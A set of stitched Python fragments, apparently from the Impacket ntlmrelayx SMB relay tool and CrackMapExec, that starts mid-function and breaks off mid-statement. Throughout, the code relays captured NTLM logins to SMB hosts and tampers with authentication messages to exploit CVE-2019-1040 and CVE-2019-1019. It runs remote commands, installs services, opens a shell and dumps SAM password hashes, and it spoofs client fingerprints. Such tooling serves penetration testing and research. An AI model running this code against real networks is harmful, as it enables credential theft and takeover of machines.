sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers #blob = SPNEGO_NegTokenInit() # NTLMSSP #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] #blob['MechToken'] = negotiateMessage #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters']['SecurityBlobLength'] = len( negotiateMessage) sessionSetup['Parameters'].getData() #sessionSetup['Data']['SecurityBlob'] = blob.getData() sessionSetup['Data']['SecurityBlob'] = negotiateMessage # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters( sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data( flags=smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters[ 'SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) #return respToken['ResponseToken'] return sessionData['SecurityBlob'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters'][ 'SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len( sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len( sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[ 'PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # # We need to unwrap SPNEGO and get the NTLMSSP # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) # authData = respToken['ResponseToken'] #else: authData = authenticateMessageBlob signingKey = None if self.serverConfig.remove_target: # Trying to exploit CVE-2019-1019 # Discovery and Implementation by @simakov_marina and @YaronZi # respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = authData errorCode, signingKey = self.netlogonSessionKey(authData) # Recalculate MIC res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) newAuthBlob = authenticateMessageBlob[ 0:0x48] + b'\x00' * 16 + authenticateMessageBlob[0x58:] relay_MIC = hmac_md5( signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob[ 0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] authData = authenticateMessageBlob[ 0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] #authData = respToken2.getData() if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) if signingKey: logging.info("Enabling session signing") self.session._SMBConnection.set_session_key(signingKey) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authData) sessionSetup['Buffer'] = authData packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) sessionSetup['Data']['SecurityBlob'] = authData smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW( dce, '{}\x00'.format(self.target.hostname), 'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException, e: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e))
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} self.keepAliveHits = 1 def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits +=1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except socketerror as e: if 'reset by peer' in str(e): if not self.serverConfig.smb2support: LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') else: LOG.error('SMBCLient error: Connection was reset') else: LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self,uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 # Let's build a NegTokenInit with the NTLMSSP blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = negotiateMessage sessionSetup['SecurityBufferLength'] = len(blob) sessionSetup['Buffer'] = blob.getData() packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer']) return respToken['ResponseToken'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags ()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = negotiateMessage sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except Exception: LOG.error("SessionSetup Error!") raise else: # We will need to use this uid field for all future requests/responses v1client.set_uid(smb['Uid']) # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob authData = respToken2.getData() else: authData = authenticateMessageBlob if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob) sessionSetup['Buffer'] = authenticateMessageBlob packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
class SMBAttack(Thread): def __init__(self, config, SMBClient, username): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__answerTMP = "" if self.config.interactive: # Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: logging.info("Started interactive SMB client shell via TCP on 127.0.0.1:%d" % self.tcpshell.port) # Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = "" self.__SMBConnection.getFile("ADMIN$", "Temp\\__output", self.__answer) self.__SMBConnection.deleteFile("ADMIN$", "Temp\\__output") else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost() + "_samhashes") logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def __init__(self, args, db, host, module, cmeserver): self.args = args self.db = db self.host = host self.module = module self.cmeserver = cmeserver self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if ((self.password is not None or self.hash is not None) and self.username is not None): if self.module: module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, self) if hasattr(module, 'on_admin_login') and self.admin_privs: module.on_admin_login(context, self) elif self.module is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and 